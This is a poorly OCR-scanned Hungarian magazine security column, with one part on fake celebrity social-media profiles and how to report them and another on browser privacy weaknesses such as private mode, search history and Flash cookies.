kérdésiik, hozzaszolasuk van, juttassdk el
hozzank (velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu
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Kik és miért készitenek hamis facebookos és egyéb kozosségi profilokat?

Hamis a baba

Virusok Varazslatos Vilaga

e

A cikk képei megtalalhatok
alemezmellékleten

Sorozatunk 38. részében azt vizsgaljuk, miért lehetnek hamis profilok a k6zosségi oldalakon. Mi mozgatja
azokat, akik ilyeneket készitenek, és hogyan lehet mégis jo eséllyel kivalasztani a tucatnyi Bill Gates koziil az
egyetlen igazit? Az is kideriil, hogy mit tehetiink, ha kétes, gyaniis vagy biztosan hamis profilt talalunk.

inek jo ez, kik ellendrzik, ha egyaltalan
K ellendrzi ezt valaki? Csupa érdekes kér-

dés, és az sem mellékes, melyek a ve-
szélyei mindennek rank nézve.

Egy 2008-as tanulmany szerint a Facebo-
ok-profilok negyven szazaléka nem valddi. BU-
nozok is rendszeresen regisztralnak mar eleve
csalasi céllal, de biztonsagi kutatok is végeznek
kiilonféle felméréseket, kisérleteket anonim
madon. Sorozatunk 20. részében kordbban mar
beszamoltunk arrol a kisérletrdl, amikor valaki
hamis néven regisztralt a Facebookra és dssze-
allitott egy kamu adatlapot. Valasztott valami jol
csengd, hangzatos nevet, és maris megsziiletett
a kitalalt Dolus Carlsson. Aztan kellett még egy
vonzo fotd - esetiinkben ez Marcus Vicket, egy
183 cm magas, 93 kg-os amerikai profi futballis-
tat abrazolta, és ezzel minddssze négy nap alatt
szaz ,baratra” lehetett igy szert tenni. Ugyanezt
teszik a blindzok is, de vasarolnak is lopott fio-
kokat, amelyekrdl egyrészt spameket kiildézget-
nek, masrészt az ismerdsoket tudjak kartékony
linkeket tartalmazo tizenetekkel becsapni.

Eder Krisztidn (SP]

.. Eder Krisztian [Sp]
Tabb info >> Mohécs

o= (N v IECI MO T IS T

Eder Krisztian [Spfan jeldl...  Eder Krisztidn

Gavavencsells [Krissz,SP,Sp... ) 13
Tobb info >> T5bb info >> Tobb info >> >
os &8 v SIEEINY XU SIESIY
Eder Krisztian [(sp fan klub)]  Eder Krisztién [SP fan club]
ako. Tobb info >>
5= & v SIFSIr SIESY

Eder Krisztian [spfanok Eder krisztian [SP krisz SP ...
idet... iy B )
Dunaharaszti G
Tobb info >

T8bb info >>

oa &M v oa &N v SIESINF Y
Eder Krisztian (Krisz] Eder Krisztidn Fan Club Eder Krisztidn [Sp]
vac [xri... Nyiregyhaza
Tébb info >> Tébb info é ',.‘ Tobb info >>
o) A v == W . CIECIY X

Eder Krisztin [Ez csak Fan  Eder Krisztian [FAN CLUB]
p k...

Sopron g Deszk
TBbb info > T8bb info >>

o= WE v SR C o=

Eder Krisztian [SP]

8
: e

‘ ] 123 Kovetkezd ' Utolsé!

A magyar iWiW-en a magyar hirességek
sem keriilhetik el sorsukat. Vicces emberek,
elvakult rajongok, csajozni vagyé kamaszok
vagy csalok rejtéznek a tucatnyi hamis profil
mogott. Pedig normal esetben csak egy valo-
di maradhatna

facebook **<* PIEN
[2\]

, - [£] Hirek Fébb események - Legfrissebb EFD
E ™ Adatlapom . adb
szerkesztése
[ Hirek gamescom 2010, the world's
= (zenstek (= andeisd showcase, Microsoft Corp.
: ; {akioie e famed “Age of Empires”
B Események (1 ) " Microsoft also announced the
&L 1smerdstk (3 a new entry inspired by the
asdasdasd lator” franchis...
[ Hirdetések és oidalak Iskola
Tidbb
asdasdasdasd
Csevegj ismeroseiddel vallalat
Bejelentkezes y tok semmitmondo
anduad rtein'!tlatt'en Iteaser videon
——— ni a jatékrol, csak azt,
e lator fejlesztéket
2009 elején. Ez, tehat,
asdasdasdasdasdasd
Iskola
Tovabbi talalatok megtekintése:
asdasd»
) ‘ on my iPhone, Now I can take
BN v TeceDooR ool Tite on the o

Mi az: asdasd? Unatkozo programozo. Teljesen atlagos eset a mezok kitoltésénél, hogy a delik-
vens szeméttel tolti fel azokat. Ezt mar vehetjiik egyfajta pozitiv jelnek is adatvédelmi tudatos-
saghol, érezziik, hogy nem minden adatunk tartozik mindenkire

A statisztikak is ezt mutatjak

A Webroot egy korabbi, atfogd felmérés ke-
retében mintegy ezeregyszaz Facebook-,
MySpace-, Twitter-, Linkedlin-felhasznalot
kérdezett ki a webhasznélati szokasaikrol.
Korilbelil 36 szazalékuk ugyanazt a kozos-
ségi portalon alkalmazott jelszavat mashol is
hasznalja, egynegyediik (28%) fogad el barat-
kérot idegentél, valamint 30% nem rendelke-
zik virus és kémprogram elleni védelemmel.
A kdzhiedelemmel ellentétben a feltort acco-
untokat legtébbszdr nem varazslatos hacke-
reszkozokkel, hanem a harmatgyenge jelsza-
vak szimpla kitalalasaval szerzik meg. Mivel
pedig az élet azt igazolta, hogy a felhasznaldk
valamilyen rejtélyes okbdl egy ,ismerdstol”
kapott lzenetben jobban megbiznak, mintha
idegent6l érkezne, ez a tény nagyon is jol jon
a csaldknak. Példanak okaért igen gyakori és
bevett forgatokonyv, amikor egy ismerds ne-
vében egy lzenetben a hazautazasra pénzt
kérnek kolcson arra hivatkozva, hogy Lon-
donban ragadtak a repiilétéren, és elloptak a
poggyaszukat.

Hiszem magam, aminek akarom
Cikkiink megjelenésekor mar lezarult az a
vetélkedd, amelyet az antivirus.blog harma-
dik szliletésnapjara idozitettlink, és amely-
nek az volt a célja, hogy minél egyedibb mo-
don buktassanak le hamis iWiW-profilokat és
Facebook-adatlapokat a versenyzok. Szem-
ldtomast rengeteg ember szeretne sztarok
bdrébe bujni, és igy ismerkedni masokkal. A
Facebookon ésaziWiW-en egylittesen koriil-
beliil 20 Eder Krisztian-adatlap van, ezek ko-
zil 19 biztosan nem az igazi SP-hez tartozik.
Mégis, mindegyik rendelkezik néhany isme-
rossel, és akad kozottiik tobb olyan is, ame-
lyik mar 6-700 felhasznaloi jeldlést kapott
- tobbnyire fiatal lanyoktdl, akik rajonganak
az énekesért. Ugy tiinik, Talmacsi Gaboro-
sat is népszer( jatszani, hiszen az iWiW-en
harman is a motoros vilagbajnoknak adjak ki
magukat. A kozosségi portalok felhasznaloi
szabalyzataba Uitkdzé profilhamisitas ugyan
jopofa jatéknak tlinhet, de valéjaban vissza-
élés egy sztar hirnevével és a felhasznaldk
bizalmaval.
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Az elvakult rajongo mindenre képes. Az 1996-0s A rajongo cimii filmben jo példat lathattunk
erre; nem tudhatjuk, ki figyeli minden apro lépésiinket, vagy 6nként megosztott informacio-

morzsainkat

Erdekek sériilhetnek

a bearazott sztarok esetében

A www.fanpagelist.com tanusaga szerint a ra-
jongoi klubok épitése, az imazskialakitas is ko-
moly Uzleti tényezd, egy oldalon példaul egyes
tzleti markak, politikusok, sportolok pillanatnyi
helyzetét lehet figyelemmel kovetni. fgy az sem
meglepd, hogy a cégek olyan kétes eszkozoket is
bevetnek, mint a bérkommenteldk alkalmaza-
sa. Erdekes médon a népszer(iségi listat a Texas
Hold’em Poker rajongéi klub vezeti kdzel 23 mil-
lio taggal, de Lady Gagaért is 16 millidan rajon-
ganak. Olyan neveket talalunk itt, mint Dr. House,
Coca Cola, Vin Diesel vagy Barack Obama. Napi
tobb ezren csatlakoznak folyamatosan a legnép-
szer(ibb oldalakhoz.

Elvakult rajongok

Igen jellemzd az a kép, amelyre a Nightwish ze-
nekar magyarorszagi rajongéi oldala utal: ,Ha
Tuomas, Emppu, Jukka, Anette vagy Marco a

barataid listajat bovitik a Facebookon, tudnod
kell, hogy ezek a profilok mind hamisak. Nem
a rajongoi klubokrol van szo, azok ellen senki-
nek sincs kifogasa, de rengeteg ember tesz dgy,
mintha valdjaban a banda valamelyik tagja len-
ne, és ez nem elfogadhato. Egy elvakult rajongo
Tuomas esetében egészen odaig merészkedett,
hogy Tuomas édesanyjarol és hazarol is fotdkat
toltott fel, illetve az 6 nevében beszélgetett ra-
jongokkal és valaszolgatott kérdésekre. A leg-
rosszabb az egészben az, hogy sokan elhiszik,
hogy a valddi bandatagokkal beszélnek, ezért
most szeretnénk felhivni a figyelmet, hogy ha a
zenekarbol barki regisztral a Facebookra, vagy
barmely hasonlé kdzosségi oldalra, akkor arrol
a hivatalos oldal hirt fog adni.” Ez egy elég kor-
rekt megkozelités, és jol jellemzi, hogy a hamis
profilok tulajdonosai miket szoktak tenni a nagy
,0" nevében. A lanyok eldtti felvagason tul ezek
az esetek konnyen okozhatnak bizalomvesztést
a sztarokban, akik egyszerre csak azt érzékelik,

Képernybkép az
adatlaprol, amelyet

| Tallézés... |

1786458

@seree 284319
Heis

s 1a771005
@ ss0ue
o
Guoes  @esen 1270
e
Ry
@53

ey 13094118

mrossas  Eomen 14079,082
@ snaesso0 B3

muwseers  @s2es 18,164925
e o

Mint egy tozsde, gy arazza a sztarokata
kozosségi oldalak kozonsége. Akiknek ma-
gasban van az azsidja, az egyben vonzobb
célpont is a profilhamisitas terén. A valodi
hirességnek pedig kokemeény iizleti érdeke
a lejaratast elkeriilni, a csalo duplazokat,
masolokat eltavolittatni

hogy valamilyen okbol elfogy koriilottiik a leve-
g6, egyre kevesebb meghivast kapnak, és konk-
rét anyagi veszteségeket is elszenvedhetnek a
tudtukon kiviil elkdvetett hitelrontasok miatt.

Mi torténik - elvileg - anem valodire-
gisztraciokkal?

Az iWiW-géphaz errdl ezt irja: A nyilvanos indu-
las utan a nem valddi regisztraciokat konnyen at
lehet alakitani k6zosséggé. Harminc nappal ké-
s6bb az iWiW elkezdi torolni azokat a regisztra-
ciokat, amelyek nem valddi maganszemélyeket

jack haueﬁ

. Jack Bauer

F‘ Jack Bauer
Erdeklfdési kor

jelenteni szeretnél:

Amint r\ eﬂ«a: uk @ jelentést, mi fog fellépni alapulnak "W a kozata
Seik f irlapst

kezdeti kérelmet, hogy helyezzenek el egy ;arnan, és
megfeleléen reagalt

ek
Cimkeén kapcsolatfelvétel

Koszonjuk tirelmeét.

] Hirek 2.228 embernek tetszikk
&) Uzenetek (5 24 Jack Bauer
. ™
B Események (1
& 1smerdsok (3 =
] 3ack Bauer (character)
mdb.com »
U3 Hirdetések és oldalak
Tobb
ERll Where in the World Is Jack
- | Bauer?
Cseveg] Ismeréselddel [
Bejelentkezés
Jack Bauer
Sportold

drlap

10 - Magyar
Mobil - Ismeréstk keresése : Cimkek - Rolunk - HirdetGknek - Fejleszttk - Allaslehetfség - Adatvédelem - Feltételek - Sigo

Fiilig Jimmy ahol tud, segit. Latszolag annak az oldalnak a magyar forditasaban is részt vehe-
tett, ahol a Facebook alatti csalé adatlapokat tudjuk bejelenteni az lizemeltetoknek
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Tovabbl taldlatok megtekintése: jack
bauer»

Egy artalmatlan hamis profil. Amikor Magilla
Gorilla-, Rambo- vagy Jack Bauer-profilokat
talalunk, lehet, hogy a szoros szivii filmipari
jogvédok jajgatnak, de a hétkoznapi ember
ezt inkabb viccesnek és jopofanak tartja



Regisztracio

Jedina grupa koja Vam
nudi uslugu a od Vas ne
trazi da pozivate
prijatelje...

**Zid je ogledalo neke
grupe**

*Ne postoji program koji

pritiskom na neku tipku
hakuje tudji profil*

766 ember kedveli ezt

-

Eset NOD32 username&& pasword ' s fent van a Facebookon.
Eset NOD32 usernamef pasword’ s az ismerdstd? Regisztralj a Facebookon, és lépj vele k

Eset NOD32 username& pasword 's

i

P Adatok

4 Tetszik

Fénykeépek Forumok Dobozok Jegyzetel

Eset NOD32 username& pasword s + Masok

Eset NOD32 username& pasword s UGS IELEUETL AR

Eset NOD32 username® pasword s Nod32 Valid User name and
Password 20 August, 2010

augu 9., 14:31 « Hozzaszolok - Tetszik

£ Guillermo Martin, Oman Lunas, Senaid Hujdur €5 meég 2
tovabbi szemely kedveli ezt.

&) Mutasd mind a(z) 16 hozzészolast

Eset NOD32 username& pasword 's
Kako skinutl bilo koji video sa interneta?

ia skinete

Ha igusztus 16

&) Hans Gogi és Sanel Polumenta kedvelik ezt.

Hozzaszolok - Tetszik

Eset NOD32 username& pasword ' s U poslednje vrijeme
pojavljuje se mnogo grupa koje priviade clanove na

vrlo bijedan (ali vrlo efikasan) nacin: 2LOUPOTREBOM
RADOZNALOSTI!
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Bl mikko hypponen

Kezdélap

Mikko Hypponen

Mikko Hyppnen

Mikko Hypponen

Mikko Hypponen

Mikko Hypponen

Megnézem az sszes talalatots

Hogy az iizemeltetok nem allnak a helyzet magaslatan, azt ez a profil is mutatja: warez széria-
szamok kedveldi ilyen néven is regisztralhattak, zavartalanul élhetik mindennapi k6zosségi

életiiket

takarnak. igy egyrészt csokken a kéretlen levelek
és bejeldlések szama, masrészt az iWiW Ujra va-
l0s személyek valds kapcsolatait nyilvantarto ol-
dalla valik.” Ha ez valdban igy torténne, biztosan
nem lenne az abraink kozott a tizegynéhany Eder
Krisztian. Tobbnyire csak konkrét bejelentés
alapjan kezdenek vizsgalodni, és csak akkor var-
hatunk az lizemeltet6ktél segitséget, ha a profi-
lunkat elloptak vagy tudtunkon kiviil torélték.

Jelentem én, jon fake, jon a fake

Van lehet6ségiink jelenteni a Facebookon is a
gyanuUs profilokat. Ekkor kicsit furcsa, Ugyneve-
zett ,magyar” nyelven az albbi lizenetet kapjuk:
Amint megkaptuk a jelentést, mi fog fellépni ala-
pulnak nyilatkozata jogait és kételezettségeit. Ne
feledje, hogy elkiildené az (rlapot t6bbszor nem
eredményez gyorsabb valaszt. Miutan elkiildte a
kezdeti kérelmet, hogy helyezzenek el egy sorban,
és ennek megfelelden reagalt. Koszonjik tiirel-
mét. Cimkén kapcsolatfelvételi Grlap.” Magyarul
innent6l, lenni az lgy bele oda neki sinen”... Ama-
gyartalan forditas ellenére azért a bejelentés utani

technikai ligymenet mar olajozottabban zajlik.

Van, ahol viszont kokeményen biintetik
Murphy torvénye szerint minden j6 valamire, ha
masra nem, hét elrettent példanak. igy van ez
az alabbi esetben is, ahol nem igazan tartottdk
viccesnek a mas nevében valo regisztraciot és a

hamis iizeneteket. Egy huszonhat esztendGs in-
formatikus, Fouad Mourtada 2008. februar 5-én
a marokkdi kiraly occsének adva ki magat, re-
gisztralt egy Facebook-profilt, am tettének nem
vart kdvetkezménye lett: alig néhany nap mulva
letartdztattak, tettéért pedig elképesztden szigo-
ru itélettel, 6t év bortonnel néz szembe.

Hasznos tanacs lehet, hogy ha valakinek az
adatlapja felett ismeretlenek atveszik az iranyi-
tast, akkor a renddrségen lehet feljelentést tenni.
Ezt érdemes is minél hamarabb megtenni, mert
példaul az iWiW adatkezelési szabalyzata szerint
minddssze hat napig 6rzik meg a bejelentkezék
IP-cimeit, utdna mar nehéz barmit is bizonyitani.

Osszefoglalva elmondhatjuk, a hirességek pro-
filhamisitasa részben egyfajta kulturalis prob-
léma, amit az elkovet6k bocsanatos tettként
értékelnek. Nyilvan mas szemszoghdl élik meg
ugyanezt az érintett zenészek, szinészek, poli-
tikusok, izletemberek. Figyelemmel kisérve a
csalasok és kartevok statisztikait, az is jol lat-
hato, hogy egyre kivanatosabb platformot nyuijt
a blin6zoknek a tobb szazmillios kozosségi fel-
hasznaldi tdbor, amelyhez sok esetben elégte-
len és lassU ellendrzés, kései reagalas tarsul az
tizemeltetSk részérdl a biztonsagi incidensekre.
Ugyanakkor a j6 hirnévhez vald jog sériilése, a
személyes adatokkal valo visszaélés kiilonb6zo
formai fontos hianyossagokra, tovabbi tenniva-
lokra hivjak fel a figyelmet.

Nem ddntheto el, hogy ennyi azonos nevii
ember regisztralt, vagy néhany hamis profil
is koztiik van. Az is lehetséges forgatokonyv,
amikor valakinek az adatait egy masolatpro-
filba klonozzak, aztan az adataival a nevében
visszaélnek

Kérjiik kedves olvaséinkat, ha a témaban kér-
désiik, hozzaszolasuk van, juttassak el hozzank
(velemeny@pcworld.hu).

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus magyaror-

antivirus.blog.hu

Kapcsolodo weboldalak

Tanacsok a biztonsagos Facebook-haszna-
lathoz:
www.facebook.com/biztonsag

Antivirusburgi Unnepi Jatékok:
hopp.pcworld.hu/7266

Hamis profilok:

hopp.pcworld.hu/7267

Zaklatas a géphbol:
hopp.pcworld.hu/7268

10+ Tips To Identify Fake Profiles On Face-
book:

hopp.pcworld.hu/7269

Fake Facebook Profiles:
hopp.pcworld.hu/7270

Fake Facebook Profile Equals Jail Time?:
hopp.pcworld.hu/7271
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Vajon létezik biztonsagos bongészo6?

Biztonsagos hongészés? Na persze...

Mi lesz a Google-kereséseinkkel? Kitorolt siitik utan is maradhatnak nyomaink? Valéban teljesen anonim
az anonim bongészés? Lehetséges-e, hogy egy szamitogépes kartevo a bongészobol kiolvashato személyes
adataink és bongészési elozményeink nyilvanossagra hozatalaval zsarol meg minket? Ilyen kérdések jartak

a fejiinkben a 39. epizdd kapcsan.

a a ,lLétezik-e biztonsagos bongé-
H sz6?" kérdésre keressiik a valaszt,

jo tampontot adhatnak az alabbi-
ak: A bongész6k ma mar nemcsak egysze-
ri, HTML-megjelenitésre alkalmas progra-
mok. A weben szorfélve ezer szallal fligglink
akilonbozo, harmadik féltél szarmazé alkal-
mazasoktol, beépiild moduloktol és magatol
az operacios rendszertdl, amelyeknek szin-
tén hibatlannak kellene lenniiik ahhoz, hogy
biztonsagban érezhessiik magunkat. Mindez
persze nevetséges illizié. Azt hiszem, el kell
fogadnunk, hogy béngészés kdzben sebezhe-
téek vagyunk” - vélia Buherator. Nincs olyan
bongészd, amelynek ne lenne tucatnyi felfe-
dezett ésfelfedezetlen biztonsagi sebezhetd-
sége. A webalapU kartevékrol, az ajanlott és
a biztonsagot szolgalo pluginekrél mar érte-
keztlink egyszer a 14. részben, az URL-ek r6-
viditésébdl és egyéb linkekkel kapcsolatos
veszélyekrol pedig a 35-0s epizdd adott rész-
letes tajékoztatast.

Ahova nézek, szorny terem

Nincs mar berlini fal méret( éles elvalasztd a
megbizhaté weboldalak és a gyanuds webhe-
lyek kozott, szemben azzal a régi megkdze-
litéssel, hogy aki warez vagy porné oldalak-
ralatogat, azvan kiemelt veszélyben. Ma mar
barmilyen weboldalrol kaphatunk tamadast,

facebook

Bvm az 5 ?

=
b \ [ - -
F-Secure. ¢’ BROWSING PROTECTION r—
Kezddlap
Megbizhatok ebben a hitp:. .f-secure . LY
webhelyben?
‘Webhely : hitp-//browsingprotection.f-secure.com’s...

Ez a webhely: Biztonsagos

A webhely meglatogatasa biztonsagos
Az F-Secure semmilyen gyanus mikodest nem talalt a webhelyen. Legjobb tudomasunk szerint ez a webhely
biztonsagosan latogathato.

Webhely tulajdonosanak visszajelzése

Az F-Secure Browsing Protection (browsingprotection.f-secure.com) barmilyen linkrol
megmutatja, hogy megbizhato-e szerintiik. Erdemes tisztaban lenni azzal, hogy minden
kartékony oldal esetében el kell telnie egy bizonyos idonek, amig az adatbazisba beke-

riil és riasztast kapunkra

és sokszor a manipulalt keresdtalalatok is
igyekeznek minket ezek felé terelni, raadasul
nincs ez masként a kozosségi oldalak eseté-
ben sem. Az AVG végzett ilyen irdnyd kuta-
tasokat, és az eredmények kdzel sem meg-
nyugtatok: ,Az ismertebb kozosségi terek
atvizsgalasaval tobb mint 20 ezer olyan ol-
dalra bukkantunk, amely valamilyen szem-
pontbdl fenyegetést jelent az internetezdkre.
Ezek kozil 11 701 darabot a Facebookon fe-
deztiink fel. Emellett a YouTube is igen el6-

E-mail cim Jelszo I

[ J—

Nem az a Kisemmizett Bvm? Keress tovabb:

Kisemmizett Bvm

Kisemmizett Bvm kedve

Egyeéb

Simicsko Istvan
Nem az a Kisemmizett Szurkoldi Klubja
Bwm, akit keresel? Keress
tovabb!»

Kisemmizett Bvm hozzéadasa az ismerdsokhoz | Uzenet kildése Kisemmizett
Bvm részére | Nézd meg Kisemmizett Bvm ismerdseit

Facebook Kbnyvtadr: ABCDEFGHIJKLMNOPQRSTUVWXYZ

@s lepj vele k

Kisemmizett Bvm
a Facebookon van.

Regisztralj a
Facebookral, hogy
kapcsolatba |éphess

Ingyenes, és barki
csatlakozhat. Mar tag

»Like-olasat kegyelettel megorizziik.” Egy lehetséges jovobeni iizleti modell, amely-
ben nem az amerikai adohivataltol kérik le az évi 100 és 200 ezer dollar kozott kereso
iigyfelek cimlistait, hanem majd a Facebooktol rendelik meg az adott partprefencia sze-
rinti klubtagsagokkal és teljes like-torténettel rendelkezo iigyfelek adatait. Ki tudja,

meddig sci-fi ez, és mikortdl lesz valésag?
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kel helyet foglal el: a felmérés szerint 7163
olyan oldal szerepelt a honlapon a tesztelés
idészakaban, amely veszélyt hordoz.” Ezen a
helyzeten segithet valamelyest, ha virusvé-
delmi programunkban szerepel valamilyen
kartékony URL-sz(ir6, illetve bdngészonk-
ben is hasznéalhatunk ilyen plugineket. Ezek
jol-rosszul,idébenvagy késve, de probaljak a
nyilvantartott linkeket és a kartékony tartal-
makat blokkolni. Természetesen azért a gya-
nus helyek privilégiuma nem sz(int meg tel-
jesen; ha valaki példaul warez virusirtdt vagy
ingyenes iWorks-csomagot tolt le, trojai kar-
tevé-beltartalomra szamithat.

Nyuszika, van neked papirod az
anonim bongészésrol? Akkor

azt akar szét is tépheted!

Ha valaki Ugy gondolja, hogy semmilyen nyo-
mot nem akar hagyni maga utan, akkor alta-
ldban a ma mar minden bongészdben elérhe-
t6 anonim modot szokta valasztani. llyenkor a
bongészikliens elvileg csak minimalis ada-
tot tarol, és szintén elvileg ezeket is elfelejti,
ha kiléplink ebbdl a bizonyos modbol. Ezzel
kapcsolatban nemrégiben egy érdekes tanul-
many jelent meg, amelynek az a lényege, hogy
ilyenkor az anonimnak gondolt netezés utan a
konyvjelzék és a letdltott allomanyok eltlinte-
tése mégsem torténik meg, illetve sok eset-
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@ iGoogle

Gadgets installed 4 gadgets
Mast recently added
Tabs 1 tab

Most recently added: Kezd6lap

@9 Talk
Contacts 3 contacts

sample Contact: [ lllizom=! com

Q Web History

Web History: Enabled for searches only

Web

Most recent - on Sep 23, 2010
Images

Most recent: totd lottc kartyanaptar on Jul

Maps

Maost recent: South Ealing Road, Ealing. Londo

A Google Dashbhoardjaban (www.google.
com/dashboard/) nemcsak a korabbi ke-
resések napléozodnak, de a belépés alatti
YouTube-videok és Google Maps-keresé-
sek is megorzéodnek

ben a privat bongészésnél begydjtott sitiket
(cookie), SSL- és mas tanusitvanyokat is meg-
orzik, illetve a gyorsitotarat (cache) sem ritik
ki. Emiatt aztan a privat izemmadbol kilépve
ezek késébb is visszakereshetdk lesznek egy
helyi vagy online tdmadd szamara. Ugyancsak
gyenge pont még, hogy a beépilé modulok
sem tamogatjak minden esetben a privat mo-
dot, igy az végiil nem tud teljes értékien mi-
kodni. Ez a veszély szinte minden bongész6t
érint, példaul a Firefox privat médjanak védel-
me bizonyult a Stanford Egyetem tanulmanya
szerint a leggyengébbnek.

Maradj csak bejelentkezve,
Piroskam, hogy jobban halljalak

és lassalak

Eddig jobbara a szoftverek tulajdonsagairdl
beszélgettiink, persze azért szdoba keriiltek
olyan dolgok is, ahol mi, felhasznalok is te-

Web Képek Térkép Hirek Forditd Blogok Gmail tovabbiak v

GOUS[E‘ |

|| Keresési elszmények || Keresés az interneten |

Minden eldzmény
Web
Képek
Hirek
Termekek

Szponzoralt linkek

Internetes uozmmu-gnuu.wm cimre vonatkozéan

intemetes te
okt. 2

H K 8 H
2r 28 29 3
4 5 6 7

Az d6vatos netezo megorzott keresési elozménye ezt mutatja: semmi!

hetiink magunkért, példaul valogatott plugi-
nekkel stb. Létezik egy olyan szokas is, amely
a kényelem kontra biztonsag mérlegelésben
a kényelmet szolgalja, &m nem vart mellék-
hatasokkal is szolgalhat, amivel nem art tisz-
taban lenni. Ha valakinek gmailes postafiok-
javan, és a leveleit webes fellleten éri el, az
biztosan talalkozott mar azzal, hogy belép-
ve a kereséseinek a torténete is megorzadik,
igaz, szerencsére ezt kiis lehet kapcsolni. Aki
kivancsi arra, hogy nala bekapcsolt volt-e ez
a funkcio, mit 6rzott meg a Google a keresé-
seibél, az latogasson el a www.google.com/
history/ cimre. Emellett a www.google.com/
dashboard/ linken a belépve nézett Google
Maps-keresések, tovabba az igy megtekin-
tett YouTube-videdk el6zménye is elolvasha-
t6. Emiatt itt is, de minden mas webhelyen is
javasolt az azonnali kilépés, ha befejeztiik a
szolgaltatas hasznalatat, illetve ha jot aka-
runk magunknak, soha ne ikszeljik be be-
jelentkezéskor a Maradjon belépve opcidt.
(Forras: hopp.pcworld.hu/7368)

Flash siitik és egyéb fincsi
nyalanksagok

Léteznek a hagyomanyos siitiktél eltérd, tgy-
nevezett Flashvagy Supersitikis, amelyek egy
korrektil beallitott, minden el6zmény, cookie
stb. torlést kdvetéen a bongészdbol kilépés-
kor tovabbra is megdrzddnek. Természetesen

Web Képek Térkép Hirek Forditd Blogok Gmail tovabbiak ¥

I v ilcom | Fickom | Kilépés

Google

“ Keresési elézmények | Keresés az interneten |

Az intemetes el6zmeények a keresésekre korlatozottak. Terjessze ki intemeies elfizmenyeit

Minden elézmény 2008. dec. 7. (folyt.)

internetes elézmények | @gmail.com cimre vonatkozéan

Intemnetes tevekenysegek

Elemek eltavolitdsa

T 2009. szept. 16.

Konyvjelz6k
1508 Kereses: Wesl Union Group

Web 10:45 «nov. dec. 2008 jan »
[épok H K 8 K P 8z V
Hirek
Temekak 10:35  Keresés: gldobhaté email cim -mpp - = Megt 1 2 3 453 6
Szponzoralt linkek No-Spam.hu | Eidobhaté e-mail cim [beta] e o 0N 1213
Vided techline.hu - Eidobhato email-cim - techline.hu 14 15 18 17 18 19 20
Terkep 10:34  Keresés email cim - = Megtekintve 1 ere y
B : 4 ; 21 22 23 24 25 26 7
Diogok hitp://szoftvertipp.info/windows/egyszer ~email-cim/
Konyvek 28 29 30 1 1 2 3
0928  Keresés: Alvaro@wes-ug.org - = Megiekintve 1 eredmer

Sziinet i ’ Ma, okt 3.

Wes Alvaro - home - utk.edu e |

15:.08 Keresés _Ea}im London W5 408

1-5 6-10 11-20 21+

Osszes Google keresés: 69

Tobb oldalnyi nyomot, keresési el6zményt hagyhat maga utan az, aki ovatlanul,
Google-fiokjaba bejelentkezve keresgél a neten

nem mindig iranyul ez elleniink, a Flash-jaté-
kok példaul ebben taroljék el a high score lis-
tat, ami persze szép és j6. Azonban az a hely-
zet, hogy egyrészt a kiilonbdz6 reklamozd cé-
gekis tudjak ezt s mar régota kiis hasznaljak,
valamint a HTML-siitik 4 kilobajtos méretéhez
képest ezek akar 100 KB-osak is lehetnek.
Nem rendelkeznek semmiféle lejarati iddvel,
és a bongészdkliens helyileg is elkiilonitve ta-
rolja ezeket egy SOL kiterjesztés( fajlban. To-
vabb sUlyosbitja a helyzetet, hogy az ezekben
tarolt személyes adatokkal a Flash cookie ké-
pes helyreallitani a korabban torélt webes siti
tartalmat. (Forras: hopp.pcworld.hu/7367)

Aki meg akarja kimélni magat ettél a rekla-
mozdcégeknek biztosan kivalé modszertdl,
annak érdemes lehet a Better Privacy ki-
eqészitét (hopp.pcworld.hu/7361) feltelepi-
tenie, amelynek segitségével teljes kord si-
tiellendrzés és -védelem valdsithatd meg, és
természetesen rendelkezhetlink Ugy is, hogy
az altalunk kivalasztott vagy akar az dsszes
LSO- (Locally Shared Objects) elemek minden
egyes kilépéskor teljes kor(ien torlédjenek a
gépiinkrol.

A Jo, a Rossz és a Profilalkoto

Tovabb arnyalhatja a kordbbi anonim bongé-
szésben felvetett képet az is, hogy az Electro-
nic Frontier Foundation (EFF) 2010 tavaszan
végzett egy kutatast, amelyben azt vizsgaltak,

Torlends idStartomény: | Minden z

] Minden elézmény tordlve lesz.
. Ez a miivelet nem visszavonhato.

- | Részletek

¥ Bongészési és letditési eldzmeények
) Urlapok és keresémezdk elézmeényei
) Sitik

¥ Gyorsitotar

) Aktiv bejelentkezések

¥ Webhely bedllitasai

‘ L Megse ‘ | ;"lbﬂe'smns-t‘

A bdngészoklienshdl valo kilépés egy
ajanlott madja: torolni minden tarolt
elemet. Természetesen nyomozati
eszkozokkel a helyi gépen igy is eloba-
nyaszhato minden latogatott webhely
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Iﬁ = =1 &

Lapok Tartalom Alkalmazasok ~Adatvédelem s .

Altalanos

| Figyelmeztetés kiegészitdk telepitése eldtt

| Kivételek... |

| Bejelentett tmado webhelyek blokkolasa
1 Bejelentett hamisitott webhelyek blokkoldsa

Jelszavak
] Webhelyjelszavak mentése

["] Mesterjelszo hasznalata

Figyelmeztetések

kozben

Valassza ki, hogy milyen figyelmeztetéseket szeretne kapni webbongészés

| Kiyételek...

i Mesterjelszo megvaltoztatasa... |
|

i Mentett jeiszavak...

| Beallitésok...|

Kartékony és hamisitott honlapok figyelése alapértelmezett a Firefoxban. A bejelentett
tamado webhelyek blokkolasa jo dolog, bar késve jelenik meg nemcsak a figyelmeztetés,

de a mar tiszta allapot utani visszavonas is

hogy IP-cim és egyebek nélkiil, pusztan egy
JavaScript segitségével lekérdezhetd kdrnye-
zetben mennyire lehet azonositani a névtelen
netez6t. Ezek lehetnek példaul olyan alapvetd
informacidk, hogy milyen operacids rendszer
alatt milyen bongészdverzioval neteznek, de
akar olyan informaciok is kiderilhetnek, hogy
mi a rendszerben alapértelmezettként beal-
litott nyelv, vagy milyen bet(tipusokat telepi-
tett, esetleg milyen bongészoplugineket hasz-
nalnak a szamitégépen. A tanulmany szerint
ezzel a modszerrel a latogatasok 94 szézalé-
kaban megallapithatd volt a latogatd személye
- szamitégép-hasznalat esetén. Mobilos bon-
gészés esetén ugyanis sokkal kevesebb ilyen

P 1oTal

& VT Community user(s) with a total of & reputation credit(s) say(s} this URL is benign. O
VT Community user(s) with a total of 0 reputation credit(s) say(s) this URL is malicious.

Virusiotal s a service thai anal|
files and URLs and facilitates |
of viruses, worms, trojans, 4
malware detected by antiviru
information.

Submission date:  2010-10-01 08:26:09 (UTC)
Current status finished

Antivirus report;  View downioaded file analysis
